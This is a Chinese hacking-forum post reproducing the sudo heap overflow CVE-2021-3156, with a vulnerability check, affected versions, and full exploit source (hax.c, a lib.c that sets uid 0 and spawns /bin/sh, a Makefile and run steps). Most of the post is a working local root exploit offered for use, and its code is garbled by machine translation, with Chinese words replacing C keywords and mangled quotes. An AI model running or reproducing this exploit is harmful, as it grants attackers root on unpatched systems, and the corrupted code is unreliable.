H

CVE-2021-3156 sudo 提权漏洞复现

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

CVE-2021-3156 sudo 提权漏洞复现​

1 漏洞介绍​

1.1 原理​

UNIX级操作系统在逃避命令参数中的后斜线时具有基于堆的基于堆的缓冲区溢出漏洞。
当Sudo使用-s或-i命令行选项以Shell模式运行命令时,它会使用后挡板来逃避命令参数中的特殊字符。但是,当使用-s或-i标志运行sudoedit时,它实际上并未逃脱,这可能会导致缓冲区溢出。只要存在sudoers文件(通常/etc /sudoers),攻击者就可以使用本地普通用户使用sudo获得系统根权限。

1.2 影响版本​

Sudo 1.8.2-1.8.31p2
sudo 1.9.0-1.9.5p1

2 复现​

2.1 快速判断漏洞方法​

作为非root用户登录到系统,并使用命令sudoedit -s /
如果从sudoedit:开始响应的错误,则表明存在漏洞。
如果从USAGE :开始响应的错误,则意味着该补丁已生效。
20210130223315.png-water_print

2.2 编译运行​

总共有三个文件:
hax.C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
//在:上进行了测试
//UBUNUTU 20.0.4.1 LTS
//sudo版本1.8.31
//sudoers策略插件版本1.8.31
//sudoers文件语法版本46
//sudoers I/O插件版本1.8.31
#include stdio.h
#include string.h
#include stdlib.h
#include stdint.h
#include unistd.h
#include ctype.h
#define sudoedit_path'/usr/bin/sudoedit'
int main(int argc,char *argv []){
//以下CTF质量利用。
char *s_argv []={
“ sudoedit”,
'-u','root','-s',
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\',
'\\',
'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB123456
无效的
};
char *s_envp []={
'\\','\\','\\','\\','\\','\\','\\','\\','\\',
'\\','\\','\\','\\','\\','\\','\\','\\','\\',
'\\','\\','\\','\\','\\','\\','\\','\\','\\',
'\\','\\','\\','\\','\\','\\','\\','\\','\\',
'\\','\\','\\','\\','\\','\\','\\','\\','\\',
'\\','\\','\\','\\','\\','\\','\\','\\','\\',
'\\','\\','\\','\\','\\','\\','\\','\\','\\',
'\\','\\','\\','\\','\\','\\','\\','\\','\\','\\','\\'
'x/p0p_sh3llz_','\\',
'LC_MESSAGES=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA',
'LC_ALL=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA',
'LC_CTYPE=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,
无效的
};
printf('**** cve-2021-3156 poc \ n');
execve(sudoedit_path,s_argv,s_envp);
返回0;
}
lib.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include unistd.h
#include stdio.h
#include stdlib.h
#include string.h
静态void attribute((构造函数))_init(void);
静态void _init(void){
printf('[+] bl1ng bl1ng!我们得到它!\ n');
setuid(0); setuid(0); setGid(0); setGid(0); setGid(0);
静态char *a_argv []={'sh',null};
静态char *a_envp []={'path=/bin:/usr/bin:/sbin',null};
execv('/bin/sh',a_argv);
}
makefile:
1
2
3
4
5
6
7
ALL:
RM -RF libnss_x
mkdir libnss_x
GCC -O sudo-hax-me-a-sandwich hax.c
gcc -fpic -shared -o'libnss_x/p0p_sh3llz_ .so.2'lib.c
清洁:
rm -rf libnss_x sudo-hax-me-a-sandwich
汇编:
1
2
3
TAR -ZXVF CVE-2021-3156.TAR.GZ
CD CVE-2021-3156
制作
20210130223453.png-water_print

直接执行:/sudo-hax-me-a-sandwich。
20210130230253.png-water_print
 
后退
顶部